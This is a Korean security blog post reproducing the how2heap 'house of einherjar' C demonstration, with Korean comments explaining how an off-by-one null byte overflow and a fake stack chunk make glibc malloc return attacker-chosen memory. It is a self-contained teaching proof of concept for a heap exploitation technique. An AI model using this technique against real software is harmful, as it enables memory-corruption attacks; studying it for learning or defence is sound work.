Notice
Recent Posts
Recent Comments
Link
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

how2heap house of einherjar.c 본문

Security/Pwnable

how2heap house of einherjar.c

Cdor1 2017. 3. 3. 05:05

stack, bss 영역 등 공격자가 주소를 인지하고 있는 공간에 fake chunk를 쓰고

다음 chunk의 prev_inuse 필드를 unset 하고 prev_size를 속이게 되는데

서로 통합하는 과정에서 size와 fake.prev_size가 합쳐지면서 

malloc은 fake chunk가 있는 공간에 할당하게 되고

공격자가 원하는 부분에 data를 쓸 수 있는 취약점이다.


#include 
#include 
#include 
#include 
#include 

/*
   Credit to st4g3r for publishing this technique
   The House of Enherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 
*/

int main()
{
    printf("Welcome to House of Einherjar!\n");
    printf("Tested in Ubuntu 16.04 64bit.\n");
    printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* d;

    printf("\nWe allocate 0x38 bytes for 'a'\n"); // 0x38바이트를 a에 할당한다.
    a = (uint8_t*) malloc(0x38);
    printf("a: %p\n", a);
    
    int real_a_size = malloc_usable_size(a);
    printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
    // a가 overflow되어야 하기 때문에 a의 real size를 알아야만 한다.

    // create a fake chunk
    printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
    printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
    printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
    printf("(although we could do the unsafe unlink technique here in some scenarios)\n");
    // fake chunk는 stack, heap, bss등 당신이 주소를 알고 있는 영역이면 어디든지 만들 수 있다.
    // fwd와 bck포인터가 fake chunk를 가르키게 하여 unlink check를 우회하려고 한다.
    // unsafe_unlink technique를 사용하려고 한다.

    size_t fake_chunk[6];

    fake_chunk[0] = 0x41414141; // prev_size not used
    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck

    printf("Our fake chunk at %p looks like:\n", fake_chunk);
    printf("prev_size (not used): %#lx\n", fake_chunk[0]);
    printf("size: %#lx\n", fake_chunk[1]);
    printf("fwd: %#lx\n", fake_chunk[2]);
    printf("bck: %#lx\n", fake_chunk[3]);

    /* In this case it is easier if the chunk size attribute has a least significant byte with
     * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
     * the chunk includes the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0xf8); // 0xf8바이트를 b에 할당한다.
    int real_b_size = malloc_usable_size(b);

    printf("\nWe allocate 0xf8 bytes for 'b'.\n");
    printf("b: %p\n", b);

    printf("We allocate a 3rd chunk to make sure we don't touch the wilderness (not necessary)\n");
    c = malloc(0x60);
    printf("c: %p\n", c);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

    printf("\nb.size: %#lx\n", *b_size_ptr);
    printf("b.size is: (0x100) | prev_inuse = 0x101\n");
    printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); // a를 overflow시켜 b의 metadata에 null byte를 넣는다.
    a[real_a_size] = 0; 
    printf("b.size: %#lx\n", *b_size_ptr);
    printf("This is easiest if b.size is a multiple of 0x100 so you "
           "don't change the size of b, only its prev_inuse bit\n");
    printf("If it had been modified, we would need a fake chunk inside "
           "b where it will try to consolidate the next chunk\n");
    // b내부의 fake chunk를 만들어 다음 청크를 통합시키도록 해야 한다.

    // Write a fake prev_size to the end of a
    printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
           "it will consolidate with our fake chunk\n", sizeof(size_t));
    // a의 마지막 8바이트를 prev_size로 써서 우리의 fake_chunk와 통합되도록 한다.
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    // free b and it will consolidate with our fake chunk
    printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
    // b의 prev_inuse는 설정되어있지 않아 우리의 fake_chunk를 통합할 것이다.
    free(b);
    printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
    printf("We edit our fake chunk size so that it is small enough to pass size checks\n");
    printf("This wouldn't be necessary if our fake chunk was the top chunk (if we hadn't allocated c)\n");

    fake_chunk[1] = 0x1000;
    printf("New fake_chunk size: %#lx\n", fake_chunk[1]);

    printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
    d = malloc(0x200);
    printf("Next malloc(0x200) is at %p\n", d); // 다음 malloc은 우리가 설정했던 fakechunk에 할당된다.
}

'Security > Pwnable' 카테고리의 다른 글

33c3 CTF babyfengshui  (0) 2017.03.04
Codegate 2017 messenger  (0) 2017.03.03
codegate 2017 3차 발표 준비  (0) 2017.02.17
Plaid CTF 2013 ropasaurusrex  (4) 2017.02.16
BCTF ruin  (0) 2017.02.15
Comments